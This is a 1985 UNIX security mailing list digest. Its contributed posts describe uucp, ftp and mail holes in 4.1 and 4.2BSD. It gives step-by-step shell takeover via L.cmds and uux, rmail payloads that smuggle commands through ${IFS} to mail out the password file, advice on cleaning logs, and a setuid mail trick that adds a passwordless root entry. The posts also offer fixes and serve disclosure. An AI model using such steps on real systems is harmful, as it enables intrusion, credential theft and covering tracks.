Date: 01 Aug 85 21:28:44 MST (Thu) Subject: Security Mailing List, # 19 ---------------------------------------------------------------------------- Newcomers to the list since last issue: Al Gettier (al@infoswx) Ray Davis (bees@infoswx) Ken Lester (ektools!ken@kodak) Jon Sieber (mit-vax!jon@mit-eddie) Robin Lake (nitrex!rbl@cwruecmp) Rob Robertson (nitrex!rob@cwruecmp) Nigel Horne (njh@rootcl) Pat Keziah (pjk@ascvax) Hokey (root@plus5) Mark Verber (unix-security@osu-eddie) ---------------------------------------------------------------------------- >From utzoo!utflis!rayan Fri Jun 21 04:58:57 1985 remote from allegra Date: Wed, 19 Jun 85 18:17:57 edt Subject: network related security problems Here are a couple of things I hope people will have fixed in 4.3 (hint), and that are perhaps serious enough for people to do something about on the 4.2bsd systems out there. ---- Scenario: Several hosts on the same network reachable with ftp. Given that one knows the password of an account on the target machine with the same uid as uucp (it is common practice to have a uu login for each neighboring uucp host), this is what to do to get a shell on the target without any previous access to that machine: 1. ftp target Login on the uu account you know the password of (say, 'uuhost'). Within ftp now, do: 2. cd /usr/lib/uucp 3. get L.cmds 4. ^Z # suspend ftp Augment the local copy of the remote host's L.cmds file with whatever commands you want to be able to execute. 5. echo chsh >> L.cmds # add 'chsh' to the L.cmds file 6. fg # get back into ftp 7. put L.cmds 8. bye # finish the ftp session Now uux on the target machine will think chsh is a valid command to execute. 9. uux 'target!chsh /bin/csh' # arrange to execute the chsh command Wait until the uux has finished Dial up (or use network) to login to target machine as uuhost, known passwd. Presto, infiltration of host. Needless to say, uucp owned programs are prime candidates for trojan horses, etc... Go looking for more host-password combinations in L.sys Repeat with all hosts in L.sys that are reachable with ftp. If you just wanted this information, you could have gotten L.sys in step 3 above, and only one line (in wtmp - the ftp login) would indicate what had happened. The trail left behind by the above steps, on the target machine, is an entry in wtmp showing ftp login to uu, and a couple of lines in LOGFILE for the uux. Since LOGFILE is owned by uucp that is easily cleaned up. The consequences of doing this on the ARPAnet are a bit mindboggling; a couple of hundred (?) machines compromised perhaps. Not to mention the leakage of phone numbers and access sequences (through some switch e.g.), which can hurt *all* machines mentioned in the L.sys files. Immediate fix: Make sure all your uucp alias account names are mentioned in /etc/ftpusers. Better (?) fix: Change ftp to check against the uid of the accounts mentioned in ftpusers, not just the name itself. ---- Subtle ways of breaking security: The traditional 'fix' to the well-known .forward security hole of uucp (letting the thing to forward to be a program that will then run with uucp privilidges on the victim host and then sending mail to uucp), namely to set up a mail alias for uucp, can be circumvented. (pheew - sorry) To circumvent a /usr/lib/aliases alias for uucp, arrange to execute the following on the victim host: rmail uucp << \EOF >From host!user${IFS}-n sljdf EOF (e.g. by 'uux - host!rmail uucp << \EOF' etc.) To get the password (or L.sys...) file mailed to you: use uux to create the following situation on a remote host: rmail someone << \EOF >From x!y${IFS}someone;mail${IFS}you I'm not sure if this has been out before and perhaps it's obsolite as it concerns Mail in 4.1BSD, but some might still use it. Recently I had to help a 4.1BSD site that had run out of disk space on /usr as I had sent them to much news. Their superuser was on vacation so I had to do it myself. I have a guest account on that machine and started to look for a security hole. Mail is always a good start. 4.1 has /usr/bin/mail setuid to root and when saving mail in a file it doesn't check permissions, so I mailed myself a letter with a passwd-entry, one just like root but without password and another login name. When I got the mail delivered I could then just let /usr/ucb/mail append that letter to /etc/passwd and then 'su' to this new root account. PS. I fixed there disk problem and notified their sysadmin about this new problem. As I don't have the 4.1 source around anymore I don't have a fix. This problem does not exist in 4.2. Anyone know why mail had to be setuid to root? -------- Bjorn Eriksen ENEA DATA Sweden UUCP: {seismo,mcvax,cernvax,diku,ircam,prlb2,tut,ukc,unido}!enea!ber ARPA: enea!ber@seismo.arpa ---------------------------------------------------------------------------- The UNIX security issues mail list Ignore the headers on this list and mail to: ...denelcor!security (mail for the list). ...denelcor!sec-request (administrativia).